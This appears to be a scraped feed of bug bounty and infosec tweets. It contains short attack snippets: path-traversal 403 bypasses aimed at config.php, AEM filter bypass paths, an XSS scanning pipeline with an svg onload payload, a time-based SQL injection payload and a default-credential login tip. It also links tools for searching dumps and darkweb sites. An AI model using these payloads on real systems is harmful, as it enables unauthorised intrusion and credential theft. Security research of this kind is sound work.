RAVINDRA PRAJAPATI

[Clandestine @akaclandestine]

🎩New 403 Bypass 🎩

🎩Error:
Download.php?file=../config.php ==> 403

🎩 Done:
Download.php?file=. /config.php⨀ ==> 200
Download.php?file=⊡ /config.php⨀ ==> 200
Download.php?file= .⊡ /config.php ==> 200

[reverseame @reverseame]

Bypassing Email Filter which leads to SQL Injection https://t.co/mr1irkDKIm

[Cyber Detective💙💛 @cyb_detective]

BLUELAY

A tool to search for keyword list mentions (keywords.conf file) on Pastebin and other websites ( sources.conf file).

https://t.co/DgtQGN6cEY

* A list of 20+ Pastebin analogues can be found here:
https://t.co/B2g1MWmh07

[Mahshooq Zubair  @mq_xz_]

Bypassing 403s like a PRO! ($2,100): Broken Access control

by: shrirangdiwakar

https://t.co/TSQwe0BOIC

#bugbounty #WriteUps

[Cyber Detective💙💛 @cyb_detective]

IACA DarkWeb Tools

Universal search engines
Search Pastebins
Search DarkWeb Marketplaces
Search DarkWeb Social Media

https://t.co/NaralPKYxY

Thanks for tip @0xtechrock

* Use in Tor browser
* some services may not work

[Sachin Pandey @iamsachin_47]

Remote Internship Alert! 🚨

One800 is hiring “Frontend Developer Interns”
Stipend: Rs. 20K - 25K / month
Skills: ReactJS, CSS
Job offer : Rs. 7-12 LPA

Comment “👋" & I’ll DM you the link.
#tech #frontend #Web3 #Engineering

[AEMSecurity @AEMSecurity]

[+] Another awesome Adobe AEM Dispatcher filter bypass technique? oh okay

Hunting for JSON GET Servlet on /content.1.json however result = 404?

Try this:

/conten/.1.json
/conten/t.1.json
/content.tidy.1.json
/conten/.tidy.infinity.json

#AEMSecurity #bugbountytips #pentesting

[OccupytheWeb @three_cube]

Open Source Intelligence (OSINT): Finding Email Passwords in Dumps with h8mail #osint #h8mail #infosec #cybersecurity #cyberwarrior

https://t.co/1jaOWyu4Hm

[Mahshooq Zubair  @mq_xz_]

IDOR on Resend SMS Verification

by: revan-ar

https://t.co/JpRfmEOPpU

#bugbounty #WriteUps

[👑 OFJAAAH → ofjaaah.com @ofjaaah]

echo https://t.co/QjTQawH4cW | subfinder -silent | httpx -silent | katana -d 10 -silent | gf xss | Gxss -c 100 -p XssReflected | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not'

#bugbounty #bugbountytip

[vulnX @vuln_X]

Lack of Rate Limiting occurs in API's:

🧵 : 👇
Example: suppose an endpoint is used to retrieve a user’s email and is not restricted by any form of access control.

👉 https//api.example.com/v1.1/emails/view?user_id=123&entries=20

[🇸🇦 Murtada Bin Abdullah (Rood) @0x_rood]

Endpoint: /errorlog
Impact: leak users email & JWT authorization tokens

#BugBounty #bugbountytips

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

For first time i found a SQL Injection On **sitemap.xml** endpoint 😎😎

#bugbountytips #bugbountytip

target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)#

sleep payload
[1;SELECT IF((8303>8302),SLEEP(9),2356)#] = 9s

Happy Hunting

#BugBounty

[Kanhaiya Sharma @krishnsec]

#P1 #bugbountytip #bugbounty
1- view source domain.tld
2- Found jwt token token
3- decoded at https://t.co/lvePS5f86W
4- Found admin username & email
5- Tested credentials
username :: username ( passwd same as username )
on each subdomain login page
6- Pwned 2 admin panels

[payloadartist @payloadartist]

🧪 30 API Security Test Cases

📽️ With video guides

https://t.co/U2S7K5YKSk

By @Aktodotio

#infosec #cybersecurity #pentesting #bugbounty

[RAVINDRA PRAJAPATI @ravindrapra2]

Today I got sql injection
It is a error based injection
I was able to get into database
With sqlmap tamper script

[payloadartist @payloadartist]

🪙 Owasp Cheat Sheet Series: Goldmine of resources on application security for implementing controls. Covers 78 topics such as:

- XSS
- AuthZ
- Input Validation
- MFA, and so on

https://t.co/RtSRfcVJao

#infosec #cybersecurity #appsec #bugbounty #pentesting

[Harsh Jaiswal @rootxharsh]

I discuss a tricky SSRF finding in this post which led to SSRF on Dropbox BBP amongst others. If you enjoy this and other articles in the repo, please consider retweeting and following @httpvoid0x2f for more content.

[publiclyDisclosed @disclosedh1]

Dropbox disclosed a bug submitted by @rootxharsh: https://t.co/qiEbDW51a8 - Bounty: $17,576 #hackerone #bugbounty

[RAVINDRA PRAJAPATI @ravindrapra2]

@EmptyMahbob don't go on title it is information disclosure bug
similar idor

[RAVINDRA PRAJAPATI @ravindrapra2]

#bugbounty